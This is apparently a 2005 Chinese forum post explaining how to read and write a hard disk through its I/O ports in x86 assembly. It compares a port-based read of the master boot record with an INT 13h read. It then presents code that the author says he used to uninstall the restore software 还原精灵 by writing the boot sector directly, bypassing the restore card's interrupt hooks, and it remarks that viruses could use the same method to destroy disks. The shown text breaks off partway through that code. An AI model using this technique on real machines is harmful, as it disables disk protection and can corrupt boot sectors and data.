|
|
楼主 |
发表于 2005-7-19 02:53
|
显示全部楼层
一个通过对硬盘输入输出端口操作来读写硬盘的实例
四、一个通过对硬盘输入输出端口操作来读写硬盘的实例 让我们来看一个关于INT13H读写硬盘程序实例。在例子中详细说明了硬盘的读写操作所用到的端口,并且把通过INT13H读出的主引导区得到的数据和通过输入输出读主引导区得到的数据进行比较,从而证实这两种操作功能相同,程序片段如下:
mov dx,1f6h ; 要读入的磁盘号及磁头号 mov al,0a0h ;磁盘0,磁头0 out dx,al
mov dx,1f2h ;要读入的扇区数量 mov al,1 ;读一个扇区 out dx,al
mov dx,1f3h ;要读的扇区号 mov al,1 ;扇区号为1 out dx,al
mov dx,1f4h ;要读的柱面的低8位 mov al,0 ; 柱面低8位为0 out dx,al
mov dx,1f5h ; 柱面高2位 mov al,0 ; 柱面高2位为0(通过1F4H和1F5H端口我们可以确定 ; 用来读的柱面号是0) out dx,al
mov dx,1f7h ;命令端口 mov al,20h ; 尝试读取扇区 out dx,al still_going: in al,dx test al,8 ;扇区缓冲是否准备好 jz still_going ;如果扇区缓冲没有准备好的话则跳转,直到准备好才向下执行。
mov cx,512/2 ;设置循环次数(512/2次) mov di,offset buffer mov dx,1f0h ;将要传输的一个字节的数据 rep insw ;传输数据
; ------
mov ax,201h ;以下是用INT13H读硬盘的0磁头、0柱面、1扇区 mov dx,80h mov cx,1 mov bx,offset buffer2 int 13h
mov cx,512 ;以下部分用来比较2种方法读出的硬盘数据 mov si,offset buffer mov di,offset buffer2 repe cmpsb jne failure mov ah,9 mov dx,offset readmsg int 21h jmp good_exit failure: mov ah,9 mov dx,offset failmsg int 21h good_exit: ;以下部分用来结束程序 mov ax,4c00h ;退出程序 int 21h
readmsg db 'The buffers match. Hard disk read using ports.$' failmsg db 'The buffers do not match.$' buffer db 512 dup ('V') buffer2 db 512 dup ('L')
五、可以穿透还原卡或是还原软件保护的代码
五、可以穿透还原卡或是还原软件保护的代码 你可以对照硬盘读写端口含义表,再好好看看上面的例子,你将会对硬盘读写端口有一个比较深的理解。好了,到了该把谜底揭晓的时候了,重新回到我们的主题。正如你现在想象的,这种可以穿透还原卡或是还原软件保护的代码的确是对硬盘读写端口的输入输出操作。现在,我们已经可以从原理上理解了,还原卡拦截的是中断操作,但却拦截不了输入输出操作,而用输入输出操作足够可以对硬盘进行写操作了,当然用输入输出操作也完全可以读到被虚拟还原程序屏蔽的关键部分,被还原卡或是还原软件屏蔽的0头0道1扇。知道了这一原理以后,可能是仁者见仁智者见智的,如果你是一个虚拟还原技术的破解者、一个病毒制造者,或是虚拟还原技术的设计者,往往对此的理解都是不尽相同的。 在此强调我不赞成制造病毒,但一个病毒制造者完全可以用此原理写出一个可以实现破坏装有还原卡或还原软件的机器了,所以我要提醒虚拟还原用户的是,不要以为装有还原卡或是还原软件就掉以轻心,要知道世界上还是有病毒能够穿透虚拟还原技术的保护,达到破坏硬盘的目的的,想象一下如果把这一原理运用到CIH病毒中,或者运用到硬盘杀手病毒中,其后果是不堪设想的。 谈谈如何用这种可以穿透虚拟还原技术的代码来破解还原软件(如还原精灵)吧。以下是我写的用来测试破解还原精灵的代码,本代码编译后的程序需要在纯DOS环境执行,在DOS下我用这段代码成功的把还原精灵给卸载了。 .286 CODE SEGMENT ASSUME CS:CODE,DS:code,ES:code START: ;---------------------------------------------------------- ;以下代码用INT13H读主引导区 mov ax,0201h mov dx,0080h mov cx,0001h mov bx,7c00h int 13h ;--------------------------------------------------------- ;以下代码用I/O端口来写主引导区 mov dx,1f6h ; 要读入的磁盘号及磁头号 mov al,0a0h ; 磁盘0,磁头0 out dx,al
mov dx,1f2h ; 要写的扇区数量 mov al,1 ; 写一个扇区 out dx,al
mov dx,1f3h ;要写的扇区号 mov al,1 ;写到1扇区 out dx,al
mov dx,1f4h ; 要写的柱面的低8位 mov al,0 ; 低8位为0 out dx,al
mov dx,1f5h ; 要写的柱面的高2位 mov al,0 ; 高2位为0 out dx,al
mov dx,1f7h ;命令端口 mov al,30h ;尝试着写扇区. out dx,al oogle: in al |
|